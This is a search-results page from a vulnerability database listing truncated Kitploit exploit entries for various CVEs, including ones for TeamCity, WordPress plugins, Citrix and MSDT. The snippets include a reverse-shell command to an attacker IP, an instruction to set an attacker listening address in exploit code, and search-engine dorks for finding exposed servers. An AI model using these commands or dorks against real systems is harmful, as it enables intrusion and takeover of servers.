Lucene search
+L

270150 matches found

Kitploit
Kitploit
added 2026/09/04 3:48 a.m.3 views

CVE-2025-30065

💥 CVE-2025-30065 - Parquet Deserialization PoC This project demonstrates a safe proof-of-concept for CVE-2025-30065 using Apache Parquet and Java deserialization. When a Parquet file containing a serialized Java object is read, the payload executes a visible command to prove code execution. 📦 Usa...

10CVSS8.8AI score0.433EPSS
SaveExploits9
Kitploit
Kitploit
added 2026/09/04 3:48 a.m.9 views

CVE-2023-21939

JDK CVE-2023-21939 文章链接 This is JDK CVE-2023-21939 Use JDK version lower than 8u371 JDK + Apache XML Graphics root@kitploit: org.apache.xmlgraphics batik-swing 1.15 How to reproduce this RCE: 1 Run XmlServer.java 2 Run JarServer.java 3 Run JarRCE.java for Test and successfully RCE Screenshot: JDK...

5.3CVSS6.5AI score0.02495EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/04 3:44 a.m.3 views

CVE-2024-27198-RCE

Cyberspace Mapping Dork Fofa root@kitploit: app="JETBRAINS-TeamCity" ZoomEye root@kitploit: app:"JetBrains TeamCity" Hunter.how root@kitploit: product.name="TeamCity" Shodan root@kitploit: http.component:"teamcity" How to use I'm using Python3.9. root@kitploit: pip install requests urllib3...

9.8CVSS8.7AI score0.99991EPSS
SaveExploits26References1
Kitploit
Kitploit
added 2026/09/04 3:41 a.m.5 views

cve-2022-27438

CVE-2022-27438 Caphyon Ltd Advanced Installer 19.3 ثغرة تنفيذ التعليمات البرمجية عن بُعد في فحص التحديث "CustomDetection". الاستخدام: python3 cve-2022-27438poc.py التفاصيل في التقرير على gerr.re. خطوات إعادة الإنتاج بالنسبة للمنتجات الأخرى المتأثرة، يجب تغيير خادم التحديث واسم ملف تكوين التحديث...

8.1CVSS8.2AI score0.01976EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/09/04 3:39 a.m.5 views

CVE-2019-11395

CVE-2019-11395 Exploit 🛡️ About CVE-2019-11395 🕵️ The CVE-2019-11395 vulnerability describes a buffer overflow vulnerability in the MailCarrier 2.51 email application, allowing remote code execution. The vulnerability occurs in SMTP RCPT TO, POP3 USER, POP3 LIST, POP3 TOP, or POP3 RETR processes...

9.8CVSS8.8AI score0.14573EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/04 3:35 a.m.4 views

CVE-2021-31630-OpenPLC_RCE

CVE-2021-31630-OpenPLCRCE Exploit pour l'exécution de code à distance authentifiée sur le serveur Web OpenPLC v3...

9CVSS8.1AI score0.27075EPSS
SaveExploits10
Kitploit
Kitploit
added 2026/09/04 3:35 a.m.4 views

CVE-2020-24186-wpDiscuz-7.0.4-RCE

POC CVE-2020-24186-wpDiscuz-7.0.4-RCE WordPress wpDiscuz 7.0.4 تنفيذ التعليمات البرمجية عن بعد توجد ثغرة تنفيذ تعليمات برمجية عن بعد في إضافة gVectors wpDiscuz الإصدار 7.0 حتى 7.0.4 لووردبريس، والتي تسمح للمستخدمين غير المصادقين برفع أي نوع من الملفات، بما في ذلك ملفات PHP عبر إجراء AJAX المسمى...

10CVSS8.8AI score0.94616EPSS
SaveExploits19
Kitploit
Kitploit
added 2026/09/04 3:34 a.m.7 views

CVE-2026-45034

🧨 PHPSpreadsheet Phar Deserialization Exploit BypassprohibitWrappers + Remote Code Execution RCE on phpoffice/phpspreadsheet This repository provides a proof-of-concept PoC exploit for a critical vulnerability in the popular PHP library PHPSpreadsheet. The attack abuses the phar:// wrapper to...

9.2CVSS5.3AI score0.00462EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/09/04 3:32 a.m.5 views

CVE-2024-47533

root@kitploit: Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...

9.8CVSS8.6AI score0.04003EPSS
SaveExploits6
Kitploit
Kitploit
added 2026/09/04 3:32 a.m.4 views

CVE-2024-27198

CVE-2024-27198 In JetBrains TeamCity before 2023.11.4 authentication bypass allowing to perform admin actions in TeamCity server, an attacker can take full control over all TeamCity projects, builds, agents and artifacts, finally the attacker will perfomn a RCE. Download root@kitploit: git clone...

9.8CVSS9AI score0.99938EPSS
SaveExploits25
Kitploit
Kitploit
added 2026/09/04 3:31 a.m.3 views

CVE-2023-41425

CVE-2023-41425 Description Cross Site Scripting vulnerability in Wonder CMS v.3.2.0 thru v.3.4.2 allows a remote attacker to execute arbitrary code via a crafted script uploaded to the installModule component. Working The attached exploit "exploit.py" performs the following actions: 1. It takes 3...

6.1CVSS7.3AI score0.54305EPSS
SaveExploits16References2
Kitploit
Kitploit
added 2026/09/04 3:29 a.m.5 views

pandorafms_7.44

Pandora FMS 7.44 CVE-2020-13851 Pandora FMS 7.44 CVE-2020-13851 RCE allows an authenticated user to achieve remote command execution via the events feature. Can be done with credentials or a PHP session cookie. Getting Started Executing program Using credentials root@kitploit: python3...

9CVSS8.1AI score0.91095EPSS
SaveExploits4
Kitploit
Kitploit
added 2026/09/04 3:28 a.m.4 views

CVE-2019-11932

CVE-2019-11932 Modify the listening address attacker's and the listening port in the exploit.c file Following hex code: 3139 322e 3136 382e 322e 3732 2034 3434 3420 Compile the code: gcc -o exploit egiflib.c exploit.c Run the compiled file ./exploit exploit.gif copy/paste the output into a gif...

8.8CVSS8.5AI score0.4453EPSS
SaveExploits16References1
Kitploit
Kitploit
added 2026/09/04 3:24 a.m.4 views

CVE-2022-30190

CVE-2022-30190 Руководство по уязвимости Microsoft Support Diagnostic Tool CVE-2022-30190 MSRC / автор msrc / 30 мая 2022 г. В понедельник, 30 мая 2022 г., корпорация Microsoft выпустила CVE-2022-30190, касающуюся уязвимости в средстве диагностики поддержки Microsoft MSDT в Windows. Уязвимость...

9.3CVSS7.7AI score0.99234EPSS
SaveExploits63
Kitploit
Kitploit
added 2026/09/04 3:22 a.m.4 views

CVE-2024-1642470

Windows USB Generic Parent Driver Remote Code Execution Vulnerability CVE-2024-1642470 Overview This repository contains a proof-of-concept PoC exploit code and a detection script for the Windows USB Generic Parent Driver Remote Code Execution Vulnerability, identified as CVE-2024-1642470...

5.4AI score
SaveExploits1
Kitploit
Kitploit
added 2026/09/04 3:21 a.m.3 views

CVE-2022-40146_Exploit_Jar

استغلال Apache Batik SSRF إلى RCE عبر ملف Jar رابط المكون https://github.com/apache/xmlgraphics-batik المدونة https://www.zerodayinitiative.com/blog/2022/10/28/vulnerabilities-in-apache-batik-default-security-controls-ssrf-and-rce-through-remote-class-loading الاستخدام قم بتعديل السطر 11 في الملف...

7.5CVSS7.5AI score0.06256EPSS
SaveExploits1References2
Kitploit
Kitploit
added 2026/09/04 3:20 a.m.4 views

CVE-2019-7214

CVE-2019-7214 Remote Code Execution in .NET deserialization for the SmarterMail system. Collection Please find a collection of proof of concepts for the exploit in this repository. Some may work as intended without modification and some may require modification...

10CVSS8.7AI score0.84824EPSS
SaveExploits7
Kitploit
Kitploit
added 2026/09/04 3:16 a.m.5 views

CVE-2019-19781

CVE-2019-19781 تنفيذ الكود عن بُعد RCE في Citrix Application Delivery Controller وCitrix Gateway تم تحديد ثغرة أمنية في Citrix Application Delivery Controller ADC المعروف سابقًا باسم NetScaler ADC وCitrix Gateway المعروف سابقًا باسم NetScaler Gateway، والتي، إذا تم استغلالها، قد تسمح لمهاجم غير...

9.8CVSS8AI score0.99999EPSS
SaveExploits48References1
Kitploit
Kitploit
added 2026/09/04 3:16 a.m.6 views

CVE-2021-31166

CVE-2021-31166: HTTP Protocol Stack Remote Code Execution Vulnerability This is a proof of concept for CVE-2021-31166 "HTTP Protocol Stack Remote Code Execution Vulnerability", a use-after-free dereference in http.sys patched by Microsoft in May 2021. According to this tweet the vulnerability has...

9.8CVSS8.7AI score0.99772EPSS
SaveExploits24
Kitploit
Kitploit
added 2026/09/04 3:15 a.m.3 views

CVE-2021-21389

CVE-2021-21389 BuddyPress 7.2.1 - REST API Privilege Escalation to RCE PoC Full Affected version: 5.0.0 to 7.2.0 User requirement: Subscriber user Method: Privilege Escalation to Administrator and trigger RCE via REST API Endpoint: /v1/members/me endpoint. How to use Docker root@kitploit: git clo...

9CVSS8.1AI score0.13521EPSS
SaveExploits2
Rows per page
Query Builder